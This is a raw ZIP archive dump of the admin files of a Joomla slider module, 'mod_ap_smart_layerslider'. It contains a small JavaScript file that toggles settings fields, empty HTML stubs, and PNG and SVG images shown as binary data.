PK!�#o,,,mod_ap_smart_layerslider/admin/js/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�-Iq��.mod_ap_smart_layerslider/admin/js/apoptions.jsnu&1i�function ap_HideOptions(a){if((/^\s*$/).test(a)){return}fields=a.split(',');for(var i=0;i<fields.length;i++){ap_HideOption(fields[i])}}function ap_ShowOptions(a){if((/^\s*$/).test(a)){return}fields=a.split(',');for(var i=0;i<fields.length;i++){if((/^\s*$/).test(fields[i])){continue}ap_ShowOption(fields[i])}}function ap_ShowOptionsByControl(a,b){if((/^\s*$/).test(a)){return}if($('jform_params_'+a)==null){return}var c=$('jform_params_'+a).get("value");var d=b[c];if((/^\s*$/).test(d)){return}fields=d.split(',');for(var i=0;i<fields.length;i++){if((/^\s*$/).test(fields[i])){continue}ap_ShowOption(fields[i])}}function ap_ShowOption(a){var b=$('jform_params_'+a);if(b==null){b=$('jform_params_'+a+'-lbl')}if(b==null){return}var c=b.getParent('div.control-group');if(c==null){c=b.getParent('li')}if(c!==null&&c.hasClass('hide')){c.removeClass('hide')}}function ap_HideOption(a){var b=$('jform_params_'+a);if(b==null){b=$('jform_params_'+a+'-lbl')}if(b==null){return}var c=b.getParent('div.control-group');if(c==null){c=b.getParent('li')}if(c!==null&&!c.hasClass('hide')){c.addClass('hide')}}function ap_TogglerDisabledParams(a,b){if((/^\s*$/).test(a)){return}if($('jform_params_'+a)==null){return}}

// Parent/Child options
jQuery(function($){
    "use strict";

    $(document).ready(function(){

        var childParentEngine = function(){
            var classes = new Array();
            $("fieldset.parent, select.parent").each(function(){
              var eleclass = $(this).attr('class').split(/\s/g);
              var $key = $.inArray("parent", eleclass);
              if( $key!=-1 ){
                classes.push( eleclass[$key+1] ); 
              }
            });

            $("fieldset.parent, select.parent").each(function(){

              var parent = $(this);
              var eleclass = $(this).attr('class').split(/\s/g);
              var childClassName = '.child';
              var conditionClassName = '';
              var i;

              for (i=0;i<eleclass.length;i++) {
                if( $.inArray(eleclass[i], classes) < 0 ) {
                  continue;
                } else {

                  var elecls =  '.' + eleclass[i]; 

                  $(childClassName+elecls).parents('.control-group').hide();
                  if( $(parent).prop('type')=='fieldset' ){
                    var selected = $(parent).find('input[type=radio]:checked');
                    var radios = $(parent).find('input[type=radio]');
                    var activeItems = conditionClassName+elecls+'_'+$(selected).val();
                    var childitem =  $.trim(childClassName+elecls+activeItems);
                    setTimeout(function(){
                      $(childitem).parents('.control-group').show();
                    }, 100);

                    $(radios).on("click", function(event){
                      $(childClassName+elecls).parents('.control-group').hide();
                      $(childClassName+elecls+conditionClassName+elecls+'_'+$.trim($(this).val())).parents('.control-group').fadeIn(350);
                    });

                  } else if( $(parent).prop('type')=='select-one' ) {
                    var element = $(parent);
                    var selected = $(parent).find('option:selected');
                    var option = $(parent).find('option');
                    var activeItems = conditionClassName+elecls+'_'+$(selected).val();
                    var childitem =  $.trim(childClassName+elecls+activeItems);
                    setTimeout(function(){
                      $(childitem).parents('.control-group').show();
                    }, 100);

                    $(element).on("change", function(event){
                      $(childClassName+elecls).parents('.control-group').hide();
                      $(childClassName+elecls+conditionClassName+elecls+'_'+$.trim($(this).val())).parents('.control-group').fadeIn(350);
                    });

                  }
                }
              }
            });
        }//end childParentEngine
        childParentEngine();
	
    });
				
});PK!�#o,,7mod_ap_smart_layerslider/admin/images/themes/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!��bR��2mod_ap_smart_layerslider/admin/images/themes/1.pngnu&1i��PNG


IHDRz@ոc/tEXtSoftwareAdobe ImageReadyq�e<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5ea1674e-986a-ab41-996e-c141e8cd7e59" xmpMM:DocumentID="xmp.did:A1E5EA927D9211E4BD9DB80782AFCCF7" xmpMM:InstanceID="xmp.iid:A1E5EA917D9211E4BD9DB80782AFCCF7" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9ad92785-998b-4243-908c-d8c31256355c" stRef:documentID="xmp.did:5ea1674e-986a-ab41-996e-c141e8cd7e59"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>h����IDATx��ݱ
� @Q1�*,
���F+K�R����p��9���Ο���X�uYm�?-4B#4B#4B#4B#����������-4B#4B#4B#4B#����������-4B#4B#4B#4O]��>�����mWJɭ��Fh?���;�փ�5:�QJ�̂�v��{�w��i�������F�5��hm�M��6m&ڴ�7ч�-*
^^IEND�B`�PK!�&���2mod_ap_smart_layerslider/admin/images/themes/2.pngnu&1i��PNG


IHDRz@ոc/tEXtSoftwareAdobe ImageReadyq�e<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:a0fa021e-e2e8-0145-82d2-6659ee8b9096" xmpMM:DocumentID="xmp.did:9DDC7C617D9211E4B0CAE55339513F77" xmpMM:InstanceID="xmp.iid:9DDC7C607D9211E4B0CAE55339513F77" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:29b85aea-0feb-5946-b5aa-63d43d564624" stRef:documentID="xmp.did:a0fa021e-e2e8-0145-82d2-6659ee8b9096"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��9��IDATx��ܽ
�@��;C"�0��@)b#�b�8X!�Z~��
G�+b}�/�9�
�!~^��0�m�Y�5\��GQ�ݴ�Pݪ��M�,��#=k���)pB��������-4B#4B#4B#4B#4B��������-4B#4B#4B#4B#4B������ͯ��������8�w϶m�ˊʲtt#��͎eZ��uG��8�uT
��wtR�D�h�Ҧ4�&�D������6 cD�IEND�B`�PK!���2mod_ap_smart_layerslider/admin/images/themes/5.pngnu&1i��PNG


IHDR{@:ztEXtSoftwareAdobe ImageReadyq�e<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:c4f29ec2-83b3-b646-9406-0a167c03a0ca" xmpMM:DocumentID="xmp.did:142150207D9511E4A3E8DA3CD12A1AB3" xmpMM:InstanceID="xmp.iid:1421501F7D9511E4A3E8DA3CD12A1AB3" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1a98651e-46f7-8c47-9bce-114fd2b0cdcd" stRef:documentID="xmp.did:c4f29ec2-83b3-b646-9406-0a167c03a0ca"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>iMb;IDATx���A�0Fak8W���U��1��!6����B��M_�i����iZo(Mz��g<7C��}���}o��,�m���g����\.w���4�
l%�싳���<�-�dK6$�Z1����NG�����g�l�A6���"?Lӑ�ש�a�ey}6�m�M�ɖl�%�1�
��N�l�qE��1	�A�q�^d��K�&[�ɖl� $!8
���h���z���8�l���
�d�-�d�Kv���Ue���ۓ��}���H�>;d�
��4ݯ'�?<�@�Av�2�lڳ/K�lH�TJ6$[5�g��x�q�IEND�B`�PK!�փH��2mod_ap_smart_layerslider/admin/images/themes/4.pngnu&1i��PNG


IHDR{@:ztEXtSoftwareAdobe ImageReadyq�e<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:dfc01f6d-f87f-f542-b48b-24475312ddce" xmpMM:DocumentID="xmp.did:2A99520A7D9611E49F37E21F4CB21FAE" xmpMM:InstanceID="xmp.iid:2A9952097D9611E49F37E21F4CB21FAE" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f690ba45-e602-b649-8219-d43903ac9684" stRef:documentID="xmp.did:dfc01f6d-f87f-f542-b48b-24475312ddce"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��S�IDATx��\IK#A�z\�Ũ�� ��mN�07�������MP�� �0DML�FQW$ӯ�Ѥ�u�����V�ԫW�Vmaa!'�{���]������
��?���I�
loo{��"��A9���Ǻ��6�MP٥�ZQN*;@ �<�	�8hT6Ae{�A+���E��8�dS��M���m0eȾ���L&#���rww'���RYY)UUU���$������@e{�������}������6�P($���`�g�Y��ݕ��j���z�l�]���*ىDBd``@���E�}�P5Zcc����ɉlmmI�tvvR�^�����rtt$SSS��-WT�Ƒ�s��tuu�U�%�@�d�...���P&&&����h:��q�yQv�����x<.���y���*�dҒp��<�(۵��윲d���JYY��]����lnn�����c��Ce�nf]����u[���L��֤��GFGG�0�50�kii�7�"�Pkww��Uԝ0�fx�###�G��c�Æ�Go\�c���ֈ����;;;�=O�����
;h�;p�Rcmm��1Ȧ�;�?rJ�l��6�c;d�X3
�(�/W�A�|��I d��e��jnn�X,fJf*����^JVUe#LB>!S�X���F��ƌԨU�l��aɶ�_�b��սɢMOO�3���Y4Ua
z��1�_4@�K�!�0��+�͆���Q��:��'jߊ�8=��l�� Nҟ�H$��8cO/�./P�v�&''��%���彖���$����ۣd����#X�x�ʦ��l*��vb����^$ۇ6[���l�l*�D�d�f3]Ze{��*;@6[��7��Y?
7@���R�M�	�M�l�d$��XYY���,i��K�<?ggg痗���7333����A[��g��/����l�d;�oz���}/Qm6A�	�M�l��`f/�X� 2IEND�B`�PK!j#��2mod_ap_smart_layerslider/admin/images/themes/3.pngnu&1i��PNG


IHDR{@:ztEXtSoftwareAdobe ImageReadyq�e<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d4f5efaa-4a90-f246-8e9f-6fcb6dde155a" xmpMM:DocumentID="xmp.did:34E5B4BB7D9711E4BB8EB56D9F5E82EE" xmpMM:InstanceID="xmp.iid:34E5B4BA7D9711E4BB8EB56D9F5E82EE" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2f572ab9-9d39-3049-8248-b9a47b891d60" stRef:documentID="xmp.did:d4f5efaa-4a90-f246-8e9f-6fcb6dde155a"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�	IDATx��K��@E;1*�D���{p-.4kq
:�8P����%Q�ɓ�e�X���Z���,���^��)W"p��l���ܤ�(z�lC��v3����yn�׫=��cd��|6����-Vu��*}/�R�O��4i�Z��pI��Z;�h�:��E�Tv`Ø�Y���p���3�*�!�����G{>�d21q[�ʼn��CԺ�����=�6����S�ۭ����D�z���C��t:/���W������u�uK�k��?� �ÁL�i7��M��#�S.�K�r���S�;��=B����ng[��k�����QWwb�F�l6��tNH�h4�{g��r���d�F�G��{�^I���i�SU4�k��
�d�ـl@6 �
�d#�
�d�ـl@6 �
�F6 �
�d����g뿨�dY�E��y�6Κ
�d�DU�4�͢���/�Wͭ�w[4�_%�6Κ
�d����>[9O��/�R�ó�9��U�IEND�B`�PK!�#o,,0mod_ap_smart_layerslider/admin/images/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!~�����;mod_ap_smart_layerslider/admin/images/logo_backend_gray.pngnu&1i��PNG


IHDRy/�ctEXtSoftwareAdobe ImageReadyq�e<DIDATx��Z�q�0U}��:A�,g�Xԙ���'�3��	�L`u��] V'�3A܁9GR$�ĽT��)�A���*�h�w/��ȃ���u���c�����۷(�1\&�Ų�kA0���1����<���3uouP���kv��M��3&��}��
V:�m�8��[#8眵��ߊwO�q��%���@�=!������ ��d�X.�C�BK,�(�w�w�6w�Y�}�![�sMh�k�ԛ����@N{�e�У�P�
��9\#n
�	l�,�P
��
{��0]�oGkıd��d@* �yM�9r�pPz�� �P"&����:��-���а�g��}c���J5N�����@���泧�'j11��XCNv}��E���$��!��8�kF�N(
�iK�v�
�_����頓1��wE�1��4%���z�	0�M(�V��a�
YD��$MG�c5.�״D�Z�_0Fr��\@�<3#^2�'
�+*����La]��^�PzM�_�N"C�A�k�
0D���;�����S�]�,3�eH]�ُU�{��/jj��מ̘��i!����Jl�htBc�l�I�,@�yk`b�a�Z�=3��CےdYaȾ�ؓ��u)]�*˧5dj����J��v�"�>h֔�
2�$@w�߾��&��J�l�0�A���8��;]2����TN��eK�|��n���ī�Em\�)��H�ncȼ�J!K��l���m@�=�@S(߳�;�x.�|�UB��U�g�%*��kW6[J�΅	�����$�j��>�-��&�J4�x1˸Oop�W&�!��̪9�]�Ө<���9R���ʉPS��g�Az��t���0ʇ�cM^*��T�����+�)�G�x���%���js�K���f&�h%����b�SׯmD�u�2�T��ZJ��3\�+dz�\�m{ǥ�}k�*�QO�-db��bdY>f�ʚ������N3Y�h���F=	���c�*�Y�7ሕ3���+F��+�}Nh�����S����O�~/����IEND�B`�PK!�#���1mod_ap_smart_layerslider/admin/images/k2-logo.svgnu&1i�<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 17.0.1, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" id="K2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="16px" height="16px" viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">
<g>
	<path d="M15.26,13.447c0,0.334-0.271,0.605-0.605,0.605H1.345c-0.334,0-0.605-0.271-0.605-0.605V2.053
		c0-0.334,0.271-0.605,0.605-0.605h13.31c0.334,0,0.605,0.271,0.605,0.605V13.447z"/>
	<polygon fill="#FFFFFF" points="8.933,4.876 13.823,12.54 2.177,12.54 5.756,6.843 6.815,8.38 	"/>
</g>
</svg>
PK!3^��f'f'>mod_ap_smart_layerslider/admin/images/ap_smart_layerslider.pngnu&1i��PNG


IHDRnnI9��tEXtSoftwareAdobe ImageReadyq�e<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:1f469664-e9fb-1c4d-b3cd-4f5a7a92933c" xmpMM:DocumentID="xmp.did:82BD32979BF111E4A67CFC2137597E35" xmpMM:InstanceID="xmp.iid:82BD32969BF111E4A67CFC2137597E35" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2ed92b18-42cd-4948-9c71-efdc1ed016be" stRef:documentID="xmp.did:1f469664-e9fb-1c4d-b3cd-4f5a7a92933c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>n\��#�IDATx��}	p\�y��cq$@��DQ��ÒeQr,Ŋ�XJ�+�T�l��d�ovSI�N*�]W�ͱN�G�/ْ��(˺EI��C"ś�x�	`�����`x
��E}���u�������S��uCE.�1�5|��g�9*�r^�l���x��s.��œ"�e��˶�a��P�s_Q�,���2n3�_�kp�s�^-���;�x��o�{���P~�5K���#5-��}h�w�k��xm�)��e��JP2T���z�g���̿�ܭP�R*��k{��|f˖�qtU�B��k���ڐ����;�]���\5ny���k{���vu�O�g��������R��-�g���Q.��4��^z�]���{�+�MTw
���z!����Z�&�_�
~����Z�N=7C�-��Ü(/.�#�,(�/�W��OQ�-l��H��~m_^�����[��ʅ��^wʼn��փ',��|�3w_����G�$=:6.�*���4�㸁�)
~g��\�30x|���+/�؁�8I��׶�~sׁ���ގr���կ-��X�y��]?�<��lyt�v2T>zr�CKzP}۽ueϘ�A��R<s��vo]ջm`h��[�쫷�Ĩ�o��M����m}���7�}f�Q�82a=�򶧶�Y>��g��}*q]&���y�"��g`ӎ���.�jK��u<�EAòQ��u�j�'F�˖%�~�S���^��������w�Ỷ�l�����m��w�;$V���۷�T��V3C<�p퇗w�5�w��|��VS�������v�;J=-�?v-��+��h�"(*|i�t��^�� �9��"�	U�	���+��C�Dd;�,�{�ٷ̶�����#/mک�KM����g��wt�E�._p�O���_���O����?��V�8:^��}cWo�	�����%��˻� �o�y��W/zu��v��K���P�
;���vh�f8�f��2�������y������
>�}�ud��4>Ib��GϾc��#�+�i��D�N��Yv����ze�_���ݸ����j�A�]�![��f�|EAه,�
c�Sh��aU_����4t���
�/�}��?��ǡ��7�V�4���}�n�3{s.ĕ�+&6�x���~�+������,��������_�s�ج݇�`aH�%P^|�;y��p��G+�����o/��#�U�G',Y7�?~�ʾ�V��aHQ��d��lU�,���n���?���	h���y���wݷvѣ���]P�t�_}n�}����]�)�E*�yA�ݘ���A��;�������Ճ�^RcJ�|p�K�z���0Ϊ�0f��NTNp���>C߹zჷ�����O���J�l��T,�|��(���Ͽ;�ma��-��|�^�~l��mp���mă�k�.�vi��|�'��?=�N��}��+�	[��r�4I%I�����?��1�E&�]�qʁ�@a��ʘ�ɜ v-�(�g�O�:VՒe��E	�+<0iq�J2�G�d�fhQ�KFՕ(�>�]��{v��L���a��G�`XI��d&c�cWzNzD�&q�r�乁���v~c �;�b�@�9�b�(f̶V4�4x�f���i�\C�rA�<'�L*p���CO�]�!�(���<ۇ��?���"E�f4�s�3�iL3L�e�R��r��v��_�u��c�=J+�9��)����i���5i�c�cNR��j�2n�qe��e<��ʂW�� ���V,��~�n�Hy�&�n�}��ƽ�ׯ���y͏3ߋV/���Ͼ����G��7u��}�����Y/8r�g�����iO�7�XqEwD��*��������w��ye��3`
����uv��w�Y��/�]�!����;��-�3l���pm����ƍ�+�w��������[��E|T�16�,&1.�^���=#Q�Wt���>6���?=���>��v�l�y��c'+�m١�L�Y���{�8?��M�IH
�8"p�
W�|ফyqcQ`�~���T�>��F�S�;[6qj�O�P�V�qZ)�
�Q�R 6���ɍ�A�Ž�/ݲ����WOm	Ì\���7%Q�
���ҌM��l}�<�?R�_�w2R��懓pL��·I�
A>Ԟ,_��k`pH䘫��?�a���6j�[v�y��M�\��W�Ǟ{C9�Ph��kv�Hd
�����'j�son�\�{^����	���ߢK{�xl��~�Wm������4��(�Ѫ�ȸ���;`^!6:<R��]k?���ɵ?�E15�/@����?|m{S�~��`��}{�����`,��
��}e�P�ͻ$�{��5K�?jA����}Kz;�������v��/*�u�d�����f����Wh�	�c_o׼��ޮ�#CÂ�dZ�{|���ܵ�ۿ��w�ye/�$�AKD�~���@`����2�ʐ\=��P�抮��'����������9a�[Ҕ�y��>$ԃ'q2zj���̦���F�|�M�@���J)Zܢ>�����A�B<��M;>s�-'+�/ly�eV<�����?��,��Be(\���h���d�[4ǂ�����]��[wu�-�޲���?ٰ뤝�;lq2�(��aDE�c	�	�̲*�-��j�[�<�&��$�vM2�X�o���d��W�>�y�=LY�������S���s�P�Z�u��u7�%�s��L���}��M@�G�hɂ/�v��Z��om�L�p`�#(ܱ���ޏ��T?���81�v���{kI��_��+{7>�6���w�~�%�~�1���>�J���w#�ܣv�`�
d��y�
�o��o�boG���`��w"��)��ɪ0U�����mW-^����E��P�}�H�}Z��硏���+^�u8�؛���?±4����w߼��ȵ_ٺ_1$R흽��wm�m��㕉G*���ẃ��'�x1��=��\��O^���ehw`��y�d�3��m�����[}E���
;����<�ҧnXA��bbˁb+AN�����w�ʃ���:�D*�ZS㇛JT�d>��|-����t�� t��Up�� n?2�������m��N����/2��Bt����གྷC�~��)�u���z:���'���
�wϵKd�G+�/������+ɵ���M��ށmGr*=7$�r�y�\����}㩷TSgx�����{3��ī�w�B�4�c_���_��-_�㪿{a;�U���!�W��gSύ o�<Ǟ�J��0��O�X� WfxI�8�$Q�֡��$jc��Cy��G����µ?�#�� &c���q-�cS0�䞢�F��-�h��.�;L�<5��dP�=Q#meIR� �hi��Pt�e�����ZPd�5^��I}��tt��dߋ��7E��c����h'N�C���#���q9�ߴ�P.�|t
�h���JS�����8��i( }h�al%���	��2�֙�m�<��y�
%Kb���m��znTo�f����C�eT'�ឧ]q>\�b"
�
�j1IйM�
?ܴ��� �>sr�S�䳬}DT=���5@�S__3Z����s�-�h����>خ��]��Z҇3�=���
��
?�������C��]=7���Ĝk��Ǘq�k������Ҷ[�+I�sC��vV�4k(?;�Y�g^�~r8�ü6����YØ3���/ÁI:S5����:��g!�B�
1����V/ָ f��B�5���꼤
c;g^���r�ɔU\�e�S�P�b~�8����Io_�.�$P�ej��<��1�31'�y�D>7���<E.��a/�O�y��	�=�� ��,#d�E%U0$���C�E^y��K�9�³�Dג$Ek�q⇱
�%��������p����N�G�DŽG�wY�����(��:/q9<O3}}m�"�/����x�x�gLEVN8x�Y��A%i�iF~��h�=���񣡑	X7@xx���ڥl7��Gh�v0β����%ȑ ����y0Z�����y\�Uj3d��:tՐ8M�$ċ�5��I<G�
$1�ŎFI
���*���ቪ�V��t^
�\��Y3��@��~,�6�\ᒆ��<�t�g)Ce���u��mH>.�)�&um�fO{��$ɾ���C�a{a���X5A�#n��p�r����I^�"U���x�ą��y)LS ��n�xo��B�����04Ws\�vI�s���jzV���LF1t`7�	'iy\���41Lx
y�}��-ií�#�P!������<�A^��Y���:/���s� 2
-�G�zn�,?l�΋�;��[4	�\�[�Z6�,i��EEL3�A5��y���I��S|��ǣ31�]G��"��b2R��oN��YpFx�x�x�x���xnе^����j�c��D&�`�0e��p�r��2t�g9*N�z[��W���,2`�����NV}�49A�~S�bc	:�rټ��1�F4pD�ė6��Y#/�g�qq^0_�`�c����C��14TAb�C^�pSF;����_�6��	c���-?�i�јeݰ�o��8���*M��&�p�0�E�p $��G����(��0�,7T%��j������x�XY@���x�D0�(�_<K�>iPL�A�:A_�Q���.�dC���*�)��#�ƚ�ˑ�i��hNjTEX�&��z��V���s���=�?�*�pl�t���؟�t
s�5�H���ǫ����Ȃ�E��S�G� R�����IS/ѩ�(�xl�^��$H�����#�YU�7zrL�����{�k���q6���§шG���Pa'F�E]'}�'3�+U�g�L/���@�H"k9vEdoY�s���D�f���	�N�X�%��xQ�=\.�똚zFk�QR6t|�Ee�l)�ǫ>LM�d2:�j{a�d>0,�:\	T�p[)��%��y	�JL�g;�-���
i��F61��q�ρ�ڼ��8%`��C�(���1Z?�R��:[J��:6t��1�`s!�	=>^�5	,p�k�
�_`�=ny��������|w���jȣ5�:�>Z��:��d��I'��ʂ 2,��R��8;6t�΋Z��q^?��y�iY�(A&�3?ҔI'���"T��YN_���:'�X�[��Z�i�.�*$i����k4��r_�M�&(T���� �`X/Jir����"ϸ~��1�Z�;U�G�.ߖ냼���d��Bb&q`X!>W�Ƀ��	3����(d��p�<�1�U����0N��L���q
|M#"B�Ƞ<|`�'1�Ya�e��B�~L�&+|1�YS���QAG1Ű��l�S#s^`PkH?@�l?��8�-�e���X�%�����,͸~<-1�:�D���!e,wY_{�錂xB�xR�r�S���.�㶣�y��C�^lVE�h�X�i,l(�/�v*�[M	r
�0�&8af�s���Qsl��:�<:��A��4���1��8�<"?.��>T�{/�BO��iy&���
Wm�x�4�F��Ͻ�Ր\|6�R��٦+��C
}����6�4,�ѓ������,���i`��EW��5:5�9������1�䵠�$;���s�'T>Fw��03�+-�������)8�Ѫ�5Ā��S��'����9�ن"��h,Z[���	�`;�ia�� ۭ�8Zul����s0Β$M3M�!e�t�#��穃�b��}��Ϝ�s4I�d,
�ɚ�'L��{��Lx��T��4�
��V�t-hF��s�a i�����MY��>^O	Ϊ��н��	&�J:CkB��!�,�<
��s��E�?_|�e5ן�b��hr�Kl+eI���-�?�W���<3zjj4
�%�'���T&9�n�mV��F�,�g���,'kU���Q���[d�'I"ܡኮ�.�=�����'���B:[�S�iB�g\-�a�F��\���*M8n}
���#Y�jd�43��ԸG�2�J��q5��8���:�+�Sž���]��-� IH��Z�Re���X�8I/�}�c;��ȒAt��#�۩X�/@��[0.�9N��hT���N��h���b}��]#N��
�<�;~�<��^dl��Zd�b]��r��Ӱ.	��'D�s����Y�~y:�P$;s�x�rV�Q�rH��1
�g
:x~�����}Tt胳=貯9	��LL1t�_P��I4�	�J�ד�;=l�}f��@�c�.�M1ZݭY�³WmG�~�$�Cc�Cy�ּ¸��?���Y�Q��(̐���,;�9m��-�<Rsȸ$�N�Q$��Y�)a45�e��-�n����fx@t��{��q��XP�0;t���DA$)N�;��@�$tJ��D'�z�|K%���H�(��������RI���	7(�8��>pG�2m,��C7d@山�y�x��F�q��5O-��'����g����!�Xd�ϟx]gRl��*ʨ���0�:�h?/�ۡ:J'�m^����QDxN�;~&�UA2զk@���X&_���<L��N7Y���sL�\�nƲ�O���/4���)�@;dGǏW�b�l���P���{[�w��â�Ã��?�b~]����F�3�j�t��}a�a?N5MF�&��Baj|h~���H*ޗ2#�iE3aB�}��X�#��Iʃ��8)�Ǜ:'��M�3��
��;"�R.�秎����Q.yqzf�M�S%�,�T*�v��K�1���i����?�s� ����>�ߌf��/��&8�SemZw�,_*i�<�q
�
2Xֵ��j� w���ip+��FY����L�z�i�3I
��>f
�2�g0�Β
�bxH���'\{�M`��I3�kp Q���Zij��Z�{b���	������v]���s�1�(V}����õ���Wm/�U<�\�u�8�yU��ݴb�uKFi��=?+~�s��19��(a�,&{�Q,ql����b)�N���K@�O�ū�}��7��F����mN��;K���[51��C�M�q�͍���k߻H<��aA�$�C?���W����^��C���6���~��*�c|&ɓ5tΜA��U�e�!��g��Z2�{ړ�_?���"��0����,���=��3
=p�=6a,���h�1�6��t����ų��/״<OQ��^;ͥ~���wJ�(o5����q+�c���1Љ�0s&��8#�W�x�/LH�Bq��9g
��x��5�A�'���˦��x����]P��2��Ť��S��$v��oM���mi�K�p-���p��w�1L�F��6=�&��i`�����Iݙ>��vC4'c�������}�V��m>��>�E�/Z��Sg�І�7�;]l�Xkr��E��Y�u^��3�Z�{$_�Mc�|��9�9�%ىl��ݜ��$����A�	�����=�%t0�s�PVS|�s�������<p�ρ+i�;���/K��N�֤,��,�}�9�g�Q\��|���
�u9�1��P]�"vyS��N#{{s�hE0P}z��l%�c#k볈y����Q=�L��K
W�|���Y��+f颅�42�_s���9�{�>���F��]��њ��9:bS,Z�p}M��$�����f<	�'�������v�\ȳ�9��gt֡
�m���郃�5tp}���e)�
��x>>@�i�lq;����g��u̜��p)1ٷ`�[;[
�uCg�94zy%^��+���~|`��x��J�(,�WJ�g��F�1Ԡ
y��%����Ѥ�V-���ν��V7:M)����?��V���152jw��u'���p����0ۿ�W�ٛO�Ӆ%����E^;,���m��tj�KQ7.���o\>�G�V����P߼�^�q�qITг�L�*�{ҳ8�7��L����q��=̟>x����a��'�E���<���?��;WWǪ��Y�ӯ<X��|��(���_��o}L���=:���zѻgu,�3�܏_z�*�hM�dѐ����������1�����Rv�(���(J�n���t��Z��q|NJ��$��gq,l�5�f���m�e�c*��)rc���΃-����y��U7.�r��{ku}���]%��w�>��VMQ:U��*�D�Є��l�ٖ����g��,Q�}Պ�h�%�,��<�G���ly�����",�W��@Se/�U<˟][�ο�g�\:9�*�Uǐy?�TU�E�=n��#��mQ����EJ���9^A�qugi,�,��3`
